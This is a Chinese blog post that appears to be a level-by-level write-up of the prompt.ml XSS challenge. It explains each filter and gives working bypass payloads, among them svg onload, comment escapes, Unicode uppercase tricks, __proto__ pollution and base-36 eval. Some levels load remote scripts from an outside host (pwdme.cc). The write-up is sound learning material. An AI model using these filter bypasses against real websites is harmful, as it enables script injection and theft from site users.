ღ Miranda

prompt.ml的XSS挑战

prompt.ml is a complex 16-Level XSS Challenge, held in summer 2014. This is a XSS injection game inspired by alert(1) to win.

Rules

Call prompt(1) to win. You should make it without user interaction. After completing each level, your payload will be pending for verification and then tested in:

  1. Chrome (Latest version)
  2. Firefox (Latest version)
  3. Internet Explorer 10

While most levels have all browser solutions, some may not. It is guaranteed that each level has solutions for at least two browsers.
Last but not least, payloads take fewer characters rock.

Level0

我构造的payload"><script>prompt(1)</script>//,官方答案给出的是"><svg/onload=prompt(1)>,利用了svg标签的onload事件,缩短了payload

level1

这里的过滤函数来自ExtJS library,仅仅过滤了所有的标签,可以去掉>来绕过,浏览器在处理没有右尖括号的标签时其实是能够执行的,比如下面:

onerror事件能够执行,注意要加空格,所以这题构造的payload<img src=1 onerror=prompt(1),注意空格,要缩短的话可以用<svg/onload=prompt(1)

level2

这个过滤函数过滤了等号和括号,这里就要对(进行编码,html编码为&#40;,也可以在js里编码为\u0028,所以想构造payload<script>prompt&#40;1)</script>,可是发现不成功,答案为<svg><script>prompt&#40;1)</script>,在本地测试结果如下:

有了<svg>标签,浏览器会先对后面的进行html解码,没有<svg>的话就直接执行了,原因在于script属于Raw text elements,内部文本遵循着这样的规则: &lt;不会根据实体字符来转义,&#x28;不会根据实体字符来转义,\u0028不会被转义,svgHTML的语境下,属于Foreign Elements,意味着标准不由HTML定义。而遵循着SVG的定义。SVG直接继承自XML,它和XML一样,解析规则只区分两种情况:正常情况下,实体会被转义,如&lt;被转义为<&#x28;被转义为(<![CDATA[]]>包含的实体则不转义,而\u0028只有有在ECMAScript上下文的字符串、正则表达式、标志符中才被当作(

答案给出的解法如下:

level3

这个函数过滤了->并把输入放在注释符中,我们需要闭合注释来执行代码,虽然过滤了->,但不仅-->可以闭合注释,--!>也可以,所以可以构造payload--!><svg/onload=prompt(1)

level4

这题需要绕过限制访问其他域里的js文件,decodeURIComponent()这个函数可对encodeURIComponent()函数编码的URI进行解码,这里可以使用形如http://prompt.ml%2f@attacker.com的链接骗过浏览器,比如http://baidu.com%2f@pwdme.cc/就可以访问pwdme.cc,再用encodeURIComponent()编码后的/拼接在链接中就可以执行代码,最终的payload//prompt.ml%2f@pwdme.cc/1.js

level5

这个函数过滤了>on事件、focus事件,绕过的技巧就是把type覆盖为image,然后可以使用srconerror,由于这里on事件被过滤,换行可以绕过,最终payload为:

html中换行的代码也是可以的,比如下面也是可以弹窗的:

level6

这题的函数过滤了action中的脚本和data URL!/script:|data:/i.test(document.forms[0].action)这句提取了form中的action,但题目允许我们自己控制form的一个字段,而document.forms[0].action会提取最新加入的action字段而忽略原来的:

这段代码会弹出formaction,我们把inputname改为action,结果弹出了[object HTMLInputElement],说明前面的action被后面的覆盖了,从而可以绕过过滤,最后的payloadjavascript:prompt(1)#{"action":1},攻击者可以用nameid这两个变量来覆盖真正的标签成员,从而绕过前端的过滤逻辑。

level7

这个函数会将输入的一系列单词变成数组,再通过map()输出为一个个段落,并且只取每个词的前12个字符,map()方法返回一个新数组,数组中的元素为原始数组元素调用函数处理后的值。map()方法按照原始数组元素顺序依次处理元素,map()不会对空数组进行检测。map()不会改变原始数组。这里需要使用/**/来注释代码,打通两个标签从而绕过长度限制,答案构造的payload"><svg/a=#"onload='/*#*/prompt(1)',拼接后的代码为:

要注意的是这里的单引号和双引号,onload后面改成双引号就会不成功,而使用<!---->注释也会不成功,在使用<!---->的情况下,只有一行的标签闭合了才能注释成功,比如下面的在闭合了onload=后的标签就可以:

level8

这个函数过滤了\r\n</",返回了// console.log("input"),我们知道,要返回形如console.log(prompt(1))就可以弹窗,所以需要绕过过滤规则逃逸注释符。答案给的[U+2028]prompt(1)[U+2028]-->,我也没试出来,说是可以用[U+2028]代替换行符。

level9

这个函数将像<script>这样的标签替换为<_SCRIPT>,这里的关键在于toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将ſ传入就可以转换为S,这样就可以绕过。所以构造的payload<ſcript/ſrc="http://pwdme.cc/1.js"></ſcript>,经过转换后就成了<h1><SCRIPT/SRC="HTTP://PWDME.CC/1.JS"></SCRIPT></h1>,成功加载远程的js脚本,就是注意服务器上放的脚本后缀要大写,直接构造<ſcript>prompt(1)</ſcript>是不对的,因为javascript对大小写敏感。

level10

这个函数将输入经过encodeURIComponent()处理后把prompt替换,再把'去除。encodeURIComponent()函数可把字符串作为URI组件进行编码,该方法不会对ASCII字母和数字进行编码,也不会对这些ASCII标点符号进行编码:- _ . ! ~ * ' ( )。其他字符;/?:@&=+$,#这些用于分隔 URI 组件的标点符号,都是由一个或多个十六进制的转义序列替换的。由于'不会被编码并且会被替换为空,所以我们可以利用绕过过滤<script>的思路,构造payloadprom'pt(1)

level11

这个函数过滤了一系列特殊字符[|\s+*/\\<>&^:;=~!%-,并将message的信息写到script标签中。下面这段代码输出为3:

可以知道我们需要想办法插入"message":prompt(1)就可以执行代码:

这里的技巧是利用字母操作符来绕过限制,例如ininstanceof等等,在这里这两个可以执行成功,payload"(prompt(1))instanceof"或者"(prompt(1))in"

level12

这与level10类似,只是把过滤顺序换了,最后再对prompt替换。先来看下面这些程序输出:

所以一个字符串可以通过适当进制的转换变成一个数再转换回来,构造的payload为:

或者

eval()函数可以执行一个字符串,所以只需要拼接出prompt(1)字符串即可,concat()函数用于将当前字符串与指定字符串进行拼接,并返回拼接后的字符串,该函数属于String对象,所有主流浏览器均支持该函数,concat()函数的返回值为String类型,其返回值为拼接后的字符串。String.fromCharCode()可接受一个指定的Unicode值,然后返回一个字符串。当然答案也可以简化为eval((1558153217).toString(36))(1)eval(1558153217..toString(36))(1)。除了这些外,答案还有一种暴力破解的方法,payloadfor((i)in(self))eval(i)(1)。我们可以在控制台执行下面代码得到输出:

可以看到self包含了所有当前窗体的函数和变量,执行window.self也可以获得一样的结果,虽然我试答案给的payload不能通过,会弹出异常,但这也是一种思路,下面的语句可以弹窗,但由于题目过滤了="所以也不行。

level13

这个函数需要传入JSON格式的数据,JSON.parse()这个函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的input被解析成json格式,格式不对则直接返回'Invalid image data.',再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除,例如:

最后过滤掉双引号后输出到img标签内。这题的绕过需要Object.prototype.__proto__这个属性,这个属性已经不被建议用在实际代码中,但是主流的浏览器仍然支持这个属性,看下面的例子:

首先as属性值为1,我们添加了a.__proto__.s = 2a.s依旧为1,但当我们删除了a.s后,a.s就变为了2__proto__可以作为内部属性prototypegetter functionsetter function来使用,所以我们可以用这样的方式让第一层过滤删去前面一个source,后面一个source中加上payload,如{"source":";", "__proto__":{"source":""onerror=prompt(1)"}},但是后面还有过滤"的语句,这里的技巧为String.prototype.replace()支持特殊的pattern:

看示例:

所以最后的payload形如:

level14

函数先把输入转换为大写,第二层将//和协议名换为data:,第三层将\\、&、+、%和空格,vbs字符串替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本,第二层过滤了URL里的协议名和//,没有这两个要素是运行不起来的,这里要利用第二层过滤的DataURI。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:

其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME

  1. 对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain
  2. character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
  3. base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式(形如%XX%XX%XX的格式。

这样引用图片可以减少http请求的次数,对于小图片还是有利于提高性能的。

现在把<script src="http://pwdme.cc/1.JS"></script>base64编码后加到src中可以发现能够prompt,直接在浏览器访问也一样:

但是把text/html改为javascript则会显示源代码。这题还有问题在于要使得编码后的字符串为全大写,不然会被转换,但是base64大写后,脚本不能执行:

题目给的答案也没试出来。

level15

这题与level7类似只是将/**/注释符过滤了,需要用<!---->注释,payload"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>,拼接后为:

答案还给出了一种:

  1. 想学习的好孩子说道:

    level6中把payload输入进去之后,为什么先选择的是第二个表中的action。这个action不是一个字符串吗

    1. sevie说道:

      document.forms[0].action和document.getElementByName(“action”)是等价的,都可以取到input标签,看这个http://blog.csdn.net/sundacheng1989/article/details/7221548

发表评论

电子邮件地址不会被公开。